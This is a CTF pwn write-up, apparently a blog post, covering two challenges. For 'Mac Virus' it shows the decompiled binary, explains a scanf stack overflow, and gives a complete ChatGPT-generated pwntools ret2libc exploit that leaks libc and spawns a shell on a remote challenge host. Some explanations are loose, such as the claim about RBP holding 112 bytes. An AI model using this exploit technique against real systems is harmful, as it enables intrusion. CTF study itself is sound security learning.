MCC Village Night PWN Writeup
Disclaimer: I am NOT a pwn player so my approach is quite.. chatGPT because I use it alot (tried my best)
You may download the files here —
0 - Burn Less
Description
Don’t lose sight of the fact that Hector’s rolling out three Honda Civics with Spoon engines, and to top it off, he just picked up three T66 turbos, some NOS, and a Motec exhaust from Harry’s.
Respectfully, I just skipped this description because I dont know things about spoon engines, T66 turbos and yadayada.
So, I dumped the file inside dogbolt to decompile it and throw into chatGPT for the pattern:

So I just follow this pattern and got the flag!
Flag: srdnlen{1f_y0u_no_l0ng3r_g0_for_A_g4p_th4t_3x15t...}
1 - Mac Virus
Description
I need some anti-dotted
Simple description, looks like i need to look into the files.
I decompiled the file using dogbolt, we just need to look at the main:
undefined8 main(void)
{
int iVar1;
size_t sVar2;
ulong uVar3;
char local_178 [112];
char local_108 [112];
char local_98 [104];
FILE *local_30;
FILE *local_28;
int local_1c;
local_28 = fopen("RNA.txt","r");
fgets(local_98,100,local_28);
printf("Give me vaccine: ");
fflush(stdout);
__isoc99_scanf(&DAT_00402024,local_108);
local_1c = 0;
while( true ) {
uVar3 = (ulong)local_1c;
sVar2 = strlen(local_108);
if (sVar2 <= uVar3) break;
if ((((local_108[local_1c] != 'A') && (local_108[local_1c] != 'C')) &&
(local_108[local_1c] != 'G')) && (local_108[local_1c] != 'T')) {
puts("Only DNA codes allowed!");
FUN_00401140(0);
}
local_1c = local_1c + 1;
}
iVar1 = strcmp(local_98,local_108);
if (iVar1 == 0) {
puts("Congrats! You give the correct vaccine!");
local_30 = fopen("secret.txt","r");
fgets(local_178,100,local_30);
printf("Here is your reward: %s\n",local_178);
}
else {
puts("Oops.. Try again later");
FUN_00401140(0);
}
return 0;
}
Looks interesting right? maybe not but let me highlight the vulnerabilities in this program.
This 2 parts shows that this program is vulnerable to buffer overflow:
char local_108[112];
__isoc99_scanf("%s", local_108);
Why? because as you can see char local_108[112] shows that the limit is 112 bytes and scanf(“%s”) will NOT perform bound checking so we can input more than 112 bytes to overflow it!
This is visualization for you to understand:
//This are the stacks. RBP is above RIP.
[ saved RBP ] //RBP can only hold 112b, so if we send more than that..
[ saved RIP ] //Everything will get sent here, overwriting the original content of RIP.
If you dont understand whats RBP and RIP is, you can simply read here
or you can chatGPT and try to understand (please pat yourself at the back if you truly understand it).
That is simply how buffer overflow works in this case!
So now, we know how to buffer overlow into RIP, but what should we do next? We are going to perform ret2libc to manipulate the program to execute things that already exist inside libc. Kinda just reuse existing commands inside the program without inputting it ourselves. Reference)
So next, to perform ret2libc, i need to know what libc is the program using so i read multiple files and found this inside dockerfile:
FROM ubuntu:20.04
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd
As you can see, it is using ubuntu:20,04, so i threw this information into chatGPT and it said that the libc used is..

libc-2.31.so!
So i just download from here. Then I run this sweet script which was generated by chatGPT:
from pwn import *
import time
exe = ELF('./vaccine')
libc = ELF('./libc-2.31.so')
# Connect to remote
io = remote('37.27.26.173', 1337)
# context.log_level = 'debug'
# Gadgets (KEEP THESE FROM YOUR LOCAL BINARY)
puts_offset = 0x0000000000084420
pop_rdi = 0x0000000000401443
ret = 0x000000000040101a
main = 0x0000000000401236
# Leak puts from GOT
io.recvuntil(b'vaccine:')
payload = b'\0' * 264
payload += p64(pop_rdi)
payload += p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(main)
io.sendline(payload)
io.recvuntil(b' reward: ')
io.recvline()
leak_puts = int.from_bytes(io.recvline(keepends=False), 'little')
print("Leaked puts:", hex(leak_puts))
# Compute libc base
libc.address = leak_puts - puts_offset
print("Libc base:", hex(libc.address))
# Jump to one_gadget
one_gadget = 0xe3b01
payload = b'\0' * 264
payload += p64(libc.address + one_gadget)
io.sendline(payload)
time.sleep(0.5)
io.sendline(b'cat flag.txt')
io.interactive()
And.. thats it for challenge Mac Virus!
Flag: MCC{RoP_3@zy_Pe4$y}